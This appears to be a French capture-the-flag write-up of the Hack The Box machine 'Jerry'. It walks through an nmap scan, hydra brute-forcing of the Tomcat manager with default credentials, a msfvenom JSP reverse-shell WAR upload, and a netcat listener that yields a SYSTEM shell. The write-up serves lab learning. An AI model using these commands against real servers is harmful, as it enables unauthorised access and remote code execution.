Aujourd'hui nous allons exploiter la machine Jerry de chez Hack The Box.Il s'agit comme on le verra d'une machine windows avec un serveur apache/tomcat

Niveau : super facile

But : récupérer les fichiers users.txt et root.txt


Au programme

Scan

  • nmap

Exploitation de la vulnérabilité

  • Upload d'une webshell
  • RCE (Remote Code Execution) et shell netcat

Scan avec nmap

Un scan rapide avec nmap nous montre que le port 8080 est ouvert. Le scan TCP de tous les ports n'a révélé aucune information supplémentaire. En avant pour le port 80.

nmap -sT -A --top-ports=1000 10.10.10.95

PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88

Énumération

 Tomcat est un serveur http qui gère les servlets et les JSP. Une recherche sur exploit-db ne donne pas grand chose. L'accès au manager est protégé par un mot de passe. À ce moment là, je lance en parallèle une attaque par force brute et gobuster pour voir s'il n'y a pas quelques dossiers/fichiers intéressants. Dans seclists j'utilise le fichier qui liste les mot de passe par défaut de tomcat. Hydra me donne rapidement des résultats :

hydra -C /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt http-get://10.10.10.95:8080/manager/html

 

jerry01

Exploitation de la vulnérabilité

Il n'y a plus qu'à créer une shell à l'aide de msfvenom :

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.9 LPORT=24660 -f war > shell.war

et l'envoyer sur le serveur à l'aide du formulaire

jerry02

La shell est accessible à l'adresse /shell

jerry03

Une fois le script exécuté, j'obtiens une shell grace à mon listener netcat

nc -nlvp 24660

Je suis NT AUTHORITY \ SYSTEM donc pas d'élévation de privilège

jerry05